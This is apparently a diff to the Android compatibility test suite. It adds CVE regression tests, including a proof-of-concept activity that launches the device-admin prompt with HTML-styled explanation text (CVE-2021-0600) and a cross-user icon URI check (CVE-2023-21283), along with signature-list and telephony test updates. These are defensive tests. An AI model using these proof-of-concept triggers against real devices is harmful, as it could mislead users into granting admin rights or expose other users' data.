+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0600;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+import android.security.cts.R;
+import android.text.Html;
+
+// The vulnerable activity ADD_DEVICE_ADMIN can't be started as a new task hence PocActivity is
+// created to launch it.
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+
+ // Create an intent to launch DeviceAdminAdd activity.
+ Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
+ assumeNotNull(getString(R.string.cve_2021_0600_intentNotFound, intent),
+ intent.resolveActivity(getPackageManager()));
+ intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,
+ new ComponentName(this, PocDeviceAdminReceiver.class));
+
+ // For adding an extra 'explanation' to the intent, creating a charsequence object.
+ CharSequence seq = Html.fromHtml(getString(R.string.cve_2021_0600_targetText));
+ if (getIntent().getBooleanExtra(getString(R.string.cve_2021_0600_keyHtml), false)) {
+ seq = Html.fromHtml(getString(R.string.cve_2021_0600_targetTextHtml));
+ }
+
+ // Using Html.fromHtml() causes whitespaces to occur at the start/end of the text which
+ // are unwanted. Remove the whitespace characters if any at the start and end of the
+ // charsequence.
+ int end = seq.length() - 1;
+ int start = 0;
+ while ((Character.isWhitespace(seq.charAt(start))) && start < end) {
+ ++start;
+ }
+ while ((Character.isWhitespace(seq.charAt(end))) && end > start) {
+ --end;
+ }
+
+ // Check if the charsequence is valid after trimming the whitespaces.
+ assumeFalse(getString(R.string.cve_2021_0600_errorCreateCharSeq), start > end);
+
+ // Adding the extra 'explanation' and launching the activity.
+ intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,
+ seq.subSequence(start, end + 1));
+ startActivity(intent);
+
+ // Send a broadcast to indicate no exceptions occurred.
+ sendBroadcast(new Intent(getString(R.string.cve_2021_0600_action)).putExtra(
+ getString(R.string.cve_2021_0600_keyException),
+ getString(R.string.cve_2021_0600_noException)));
+ } catch (Exception e) {
+ try {
+ // Send a broadcast to report exception.
+ sendBroadcast(new Intent(getString(R.string.cve_2021_0600_action))
+ .putExtra(getString(R.string.cve_2021_0600_keyException), e.getMessage()));
+ } catch (Exception ignored) {
+ // ignore.
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java
new file mode 100644
index 00000000000..4d429cf48f8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0600/PocDeviceAdminReceiver.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0600;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20234.java b/tests/tests/security/src/android/security/cts/CVE_2022_20234.java
new file mode 100644
index 00000000000..8d65cdbd69d
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20234.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20234 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 225189301)
+ @Test
+ public void testPocCVE_2022_20234() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager pm = context.getPackageManager();
+
+ // Skip test for non-automotive builds
+ assume().withMessage("Skipping test: " + PackageManager.FEATURE_AUTOMOTIVE + " missing")
+ .that(pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE))
+ .isTrue();
+
+ // With fix, NotificationAccessConfirmationActivity is not exported
+ final String activityName = ".notifications.NotificationAccessConfirmationActivity";
+ final String pkgName = "com.android.car.settings";
+ ComponentName component = new ComponentName(pkgName, pkgName + activityName);
+ boolean exported = pm.getActivityInfo(component, 0 /* flags */).exported;
+ assertWithMessage(
+ "Vulnerable to b/225189301!! "
+ + pkgName
+ + activityName
+ + "can be started from outside system process")
+ .that(exported)
+ .isFalse();
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_20927.java b/tests/tests/security/src/android/security/cts/CVE_2023_20927.java
new file mode 100644
index 00000000000..8b9f4949d0a
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_20927.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_20927 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 244216503)
+ @Test
+ public void testPocCVE_2023_20927() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager pm = context.getPackageManager();
+
+ // Skip test for non-automotive builds
+ assumeTrue(
+ "Skipping test: " + PackageManager.FEATURE_AUTOMOTIVE + " missing",
+ pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
+ // Permissions added in com.android.car package as a part of the fix
+ List<String> missingPermissions = new ArrayList<String>();
+ missingPermissions.add("android.car.permission.BIND_PROJECTION_SERVICE");
+ missingPermissions.add("android.car.permission.BIND_VMS_CLIENT");
+ missingPermissions.add(
+ "android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE");
+ missingPermissions.add("android.car.permission.BIND_CAR_INPUT_SERVICE");
+
+ // Fetch the permission of com.android.car package
+ final String pkgName = "com.android.car";
+ PackageInfo info = pm.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS);
+ assumeTrue(
+ "Package info for " + pkgName + " not fetched properly!! ",
+ info.packageName.equals(pkgName) && info.coreApp);
+ PermissionInfo[] permissionArray = info.permissions;
+ if (permissionArray != null) {
+ for (PermissionInfo perm : permissionArray) {
+ if (missingPermissions.contains(perm.name)) {
+ missingPermissions.remove(perm.name);
+ }
+ }
+ }
+
+ // Fail if any of the 4 permissions is missing
+ assertTrue(
+ "Vulnerable to b/244216503!"
+ + missingPermissions.toString()
+ + " missing in"
+ + " CarService.apk",
+ missingPermissions.size() == 0);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2023_21283.java b/tests/tests/security/src/android/security/cts/CVE_2023_21283.java
new file mode 100644
index 00000000000..dc3761d6131
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2023_21283.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.ContentProvider;
+import android.content.Context;
+import android.graphics.drawable.Icon;
+import android.os.UserManager;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.telecom.StatusHints;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2023_21283 extends StsExtraBusinessLogicTestCase {
+
+ @AsbSecurityTest(cveBugId = 280797684)
+ @Test
+ public void testPocCVE_2023_21283() {
+ try {
+ // Check if the device supports multiple users or not
+ Context context = getContext();
+ assume().withMessage("This device does not support multiple users")
+ .that(context.getSystemService(UserManager.class).supportsMultipleUsers())
+ .isTrue();
+
+ // Create StatusHints object with an icon specified by URI associated with target user.
+ int targetUserId = context.getUserId() + 1;
+ StatusHints hints =
+ new StatusHints(
+ "CVE_2023_21283_user",
+ Icon.createWithContentUri(
+ ContentProvider.maybeAddUserId(
+ EXTERNAL_CONTENT_URI, targetUserId)),
+ null);
+
+ // With fix, getIcon() returns null.
+ assertWithMessage("Vulnerable to b/280797684").that(hints.getIcon()).isNull();
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 92f3706c989..f9ce8df71b5 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -34,6 +34,7 @@ import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
+import java.util.TreeSet;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -44,7 +45,7 @@ public class PackageSignatureTest extends AndroidTestCase {
@RestrictedBuildTest
public void testPackageSignatures() throws Exception {
- Set<String> badPackages = new HashSet<String>();
+ Set<String> badPackages = new TreeSet<>();
Set<Signature> wellKnownSignatures = getWellKnownSignatures();
PackageManager packageManager = mContext.getPackageManager();
@@ -77,7 +78,7 @@ public class PackageSignatureTest extends AndroidTestCase {
* .bin files when adding entries to this list.
*/
private Set<Signature> getWellKnownSignatures() throws NotFoundException, IOException {
- Set<Signature> wellKnownSignatures = new HashSet<Signature>();
+ Set<Signature> wellKnownSignatures = new HashSet<>();
wellKnownSignatures.add(getSignature(R.raw.sig_media));
wellKnownSignatures.add(getSignature(R.raw.sig_platform));
wellKnownSignatures.add(getSignature(R.raw.sig_shared));
@@ -107,6 +108,83 @@ public class PackageSignatureTest extends AndroidTestCase {
// won't negatively affect tests to include their signatures here too.
wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_android_telephony_cts_testkey));
+ wellKnownSignatures.add(getSignature(R.raw.sig_build_bazel_examples_apex_minimal));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cert));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_adbd));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_adservices));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_adservices_api));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_appsearch));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_art));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_bluetooth));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_btservices));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_car_framework));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_cellbroadcast));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_compos));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_connectivity_resources));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_extservices));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_geotz));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_core_permissions));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_power));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_sensors));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_thermal));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_usb));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_vibrator));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hardware_wifi));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_hotspot2_osulogin));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_i18n));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_ipsec));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_mediaprovider));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_neuralnetworks));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_os_statsd));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_permission));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_rkpd));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_runtime));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_safetycenter_resources));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_sdkext));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_uwb));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_uwb_resources));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_vibrator_drv2624));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_vibrator_sunfish));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_virt));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_vndk));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_wifi));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_wifi_dialog));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_android_wifi_resources));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_cf_apex));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_emulated_camera_provider_hal));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_appsearch_helper_cert_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_appsearch_helper_cert_b));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_appsearch_hosttest_helper_cert_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_appsearch_hosttest_helper_cert_b));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_blob_helper_cert));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_blob_helper_cert2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_keyset_test_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_keyset_test_b));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_keyset_test_c));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_keyset_test_ec_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_net_app));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_testkey1));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_testkey2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_cts_uicc_2021));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256_2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256_3));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256_4));
+ wellKnownSignatures.add(getSignature(R.raw.sig_ec_p256_5));
+ wellKnownSignatures.add(getSignature(R.raw.sig_keyset_A));
+ wellKnownSignatures.add(getSignature(R.raw.sig_keyset_B));
+ wellKnownSignatures.add(getSignature(R.raw.sig_rro_remounted_test_a));
+ wellKnownSignatures.add(getSignature(R.raw.sig_rsa_2048));
+ wellKnownSignatures.add(getSignature(R.raw.sig_sdk_sandbox));
+ wellKnownSignatures.add(getSignature(R.raw.sig_security_cts_test_cert));
+ wellKnownSignatures.add(getSignature(R.raw.sig_shell_as_test_app_key));
+ wellKnownSignatures.add(getSignature(R.raw.sig_test_cert_1));
+ wellKnownSignatures.add(getSignature(R.raw.sig_test_cert_2));
+ wellKnownSignatures.add(getSignature(R.raw.sig_test_cert_3));
+ wellKnownSignatures.add(getSignature(R.raw.sig_test_cert_4));
+ wellKnownSignatures.add(getSignature(R.raw.sig_testcert));
+ wellKnownSignatures.add(getSignature(R.raw.sig_unit_test));
return wellKnownSignatures;
}
diff --git a/tests/tests/telephony/current/AndroidTest.xml b/tests/tests/telephony/current/AndroidTest.xml
index 947443bb32d..3ef2798c31e 100644
--- a/tests/tests/telephony/current/AndroidTest.xml
+++ b/tests/tests/telephony/current/AndroidTest.xml
@@ -64,6 +64,8 @@
<option name="teardown-command" value="pm enable com.android.dialer/com.android.voicemail.impl.OmtpService" />
<option name="run-command" value="setprop persist.radio.allow_mock_modem true" />
<option name="teardown-command" value="setprop persist.radio.allow_mock_modem false" />
+ <option name="run-command" value="device_config set_sync_disabled_for_tests persistent" />
+ <option name="teardown-command" value="device_config set_sync_disabled_for_tests none" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.FeatureFlagTargetPreparer" >
<option name="flag-value" value="telephony/com.android.internal.telephony.flags.oem_enabled_satellite_flag=true" />
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
index dae46f7fb61..78fb0af896c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
@@ -147,6 +147,12 @@ public class TelephonyManagerTestOnMockModem {
sCallStateChangeCallbackHandler =
new Handler(sCallStateChangeCallbackHandlerThread.getLooper());
mShaId = getShaId(TelephonyUtils.CTS_APP_PACKAGE);
+
+ final PackageManager pm = getContext().getPackageManager();
+ if (pm.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+ //Wait for Telephony FW and RIL initialization are done
+ TimeUnit.SECONDS.sleep(4);
+ }
}
@AfterClass
diff --git a/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java b/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java
index cadf0bf5c23..3b5a7dd4921 100644
--- a/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java
+++ b/tests/tests/telephony/current/src/android/telephony/satellite/cts/MockSatelliteService.java
@@ -95,6 +95,8 @@ public class MockSatelliteService extends SatelliteImplBase {
private Object mSendDatagramWithDelayLock = new Object();
private static final long TIMEOUT = 1000;
private final AtomicBoolean mShouldRespondTelephony = new AtomicBoolean(true);
+ private final AtomicBoolean mShouldNotifyRemoteServiceConnected =
+ new AtomicBoolean(false);
/**
* Create MockSatelliteService using the Executor specified for methods being called from
@@ -468,6 +470,9 @@ public class MockSatelliteService extends SatelliteImplBase {
public void setLocalSatelliteListener(@NonNull ILocalSatelliteListener listener) {
logd("setLocalSatelliteListener: listener=" + listener);
mLocalListener = listener;
+ if (mShouldNotifyRemoteServiceConnected.get()) {
+ notifyRemoteServiceConnected();
+ }
}
public void setErrorCode(@SatelliteError int errorCode) {
@@ -595,7 +600,12 @@ public class MockSatelliteService extends SatelliteImplBase {
private void notifyRemoteServiceConnected() {
logd("notifyRemoteServiceConnected");
- runWithExecutor(() -> mLocalListener.onRemoteServiceConnected());
+ if (mLocalListener != null) {
+ runWithExecutor(() -> mLocalListener.onRemoteServiceConnected());
+ mShouldNotifyRemoteServiceConnected.set(false);
+ } else {
+ mShouldNotifyRemoteServiceConnected.set(true);
+ }
}
/**
diff --git a/tests/tests/textclassifier/res/layout/main.xml b/tests/tests/textclassifier/res/layout/main.xml
index fe6f06bad20..73ab09943b1 100644
--- a/tests/tests/textclassifier/res/layout/main.xml
+++ b/tests/tests/textclassifier/res/layout/main.xml
@@ -22,7 +22,7 @@
<TextView
android:id="@+id/textview"
- android:layout_width="match_parent"
+ android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
</LinearLayout> \ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java b/tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java
deleted file mode 100644
index 2bc05d3ad1c..00000000000
--- a/tests/tests/view/src/android/view/cts/PrecompiledLayoutTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts;
-
-import android.content.Context;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewGroup;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PrecompiledLayoutTest {
- private LayoutInflater mInflater;
-
- @Before
- public void setup() {
- Context context = InstrumentationRegistry.getTargetContext();
- mInflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
- }
-
- /**
- * Check whether two layouts are equivalent. We do this by making sure the
- * classes match, that they have the same ID, and that ViewGroups have the
- * same children.
- */
- private void assertEquivalentLayouts(View lhs, View rhs) {
- // Make sure both are null or both are not null.
- Assert.assertEquals(lhs == null, rhs == null);
- if (lhs == null) {
- // If the two objects are null, then they are the same.
- return;
- }
-
- // The two views should have the same class and ID
- Assert.assertSame(lhs.getClass(), rhs.getClass());
- Assert.assertEquals(lhs.getId(), rhs.getId());
-
- // If these are ViewGroups, make sure the children are also equivalent.
- if (lhs instanceof ViewGroup) {
- ViewGroup lhsGroup = (ViewGroup) lhs;
- ViewGroup rhsGroup = (ViewGroup) rhs;
-
- Assert.assertEquals(lhsGroup.getChildCount(), rhsGroup.getChildCount());
-
- for (int i = 0; i < lhsGroup.getChildCount(); i++) {
- assertEquivalentLayouts(lhsGroup.getChildAt(i), rhsGroup.getChildAt(i));
- }
- }
- }
-
- private void compareInflation(int resourceId) {
- // Inflate without layout precompilation.
- mInflater.setPrecompiledLayoutsEnabledForTesting(false);
- View interpreted = mInflater.inflate(resourceId, null);
-
- // Inflate with layout precompilation
- mInflater.setPrecompiledLayoutsEnabledForTesting(true);
- View precompiled = mInflater.inflate(resourceId, null);
-
- assertEquivalentLayouts(interpreted, precompiled);
- }
-
- // The following tests make sure that we get equivalent layouts when
- // inflated with and without precompilation.
-
- @Test
- public void equivalentInflaterLayout() {
- compareInflation(R.layout.inflater_layout);
- }
-
- @Test
- public void equivalentInflaterOverrideThemeLayout() {
- compareInflation(R.layout.inflater_override_theme_layout);
- }
-
- @Test
- public void equivalentInflaterLayoutTags() {
- compareInflation(R.layout.inflater_layout_tags);
- }
-}
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java
index fcf7d1ad365..fd5fad5bd04 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/ActivityInterceptionTest.java
@@ -165,7 +165,8 @@ public class ActivityInterceptionTest {
mInterceptor);
// Starting test on EmptyActivity
- Intent startIntent = new Intent(mContext, EmptyActivity.class)
+ Intent startIntent = new Intent(Intent.ACTION_MAIN)
+ .setComponent(new ComponentName(mContext, EmptyActivity.class))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
EmptyActivity emptyActivity = (EmptyActivity) InstrumentationRegistry.getInstrumentation()
@@ -212,7 +213,8 @@ public class ActivityInterceptionTest {
interceptorOther);
// Starting test on EmptyActivity
- Intent startIntent = new Intent(mContext, EmptyActivity.class)
+ Intent startIntent = new Intent(Intent.ACTION_MAIN)
+ .setComponent(new ComponentName(mContext, EmptyActivity.class))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_CLEAR_TASK);
@@ -260,7 +262,8 @@ public class ActivityInterceptionTest {
mInterceptor);
// Starting test on EmptyActivity
- Intent startIntent = new Intent(mContext, EmptyActivity.class)
+ Intent startIntent = new Intent(Intent.ACTION_MAIN)
+ .setComponent(new ComponentName(mContext, EmptyActivity.class))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_CLEAR_TASK);
@@ -301,7 +304,8 @@ public class ActivityInterceptionTest {
Executors.newSingleThreadExecutor(), interceptorOther);
// Starting test on EmptyActivity
- Intent startIntent = new Intent(mContext, EmptyActivity.class)
+ Intent startIntent = new Intent(Intent.ACTION_MAIN)
+ .setComponent(new ComponentName(mContext, EmptyActivity.class))
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_CLEAR_TASK);
diff --git a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java
index ff8ea3fb313..1ddd14cac56 100644
--- a/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java
+++ b/tests/tests/virtualdevice/src/android/virtualdevice/cts/VirtualDeviceManagerBasicTest.java
@@ -132,7 +132,7 @@ public class VirtualDeviceManagerBasicTest {
@After
public void tearDown() {
- if (mVirtualDevice != null && mVirtualDevice.getDeviceId() != DEVICE_ID_INVALID) {
+ if (mVirtualDevice != null) {
mVirtualDevice.close();
}
if (mAnotherVirtualDevice != null) {
@@ -194,7 +194,9 @@ public class VirtualDeviceManagerBasicTest {
mVirtualDevice.close();
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
@Test
@@ -207,7 +209,9 @@ public class VirtualDeviceManagerBasicTest {
mVirtualDevice.close();
mVirtualDevice.close();
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
+ // Ensure the virtual device can no longer setup new functionality
+ assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
+ DEFAULT_VIRTUAL_DISPLAY_CONFIG, null, null));
}
@Test
@@ -256,7 +260,6 @@ public class VirtualDeviceManagerBasicTest {
// Ensure device is closed properly and the display is removed
assertThat(display.getDisplay().isValid()).isFalse();
- assertThat(mVirtualDevice.getDeviceId()).isEqualTo(DEVICE_ID_INVALID);
// Ensure the virtual device can no longer setup new functionality
assertThrows(SecurityException.class, () -> mVirtualDevice.createVirtualDisplay(
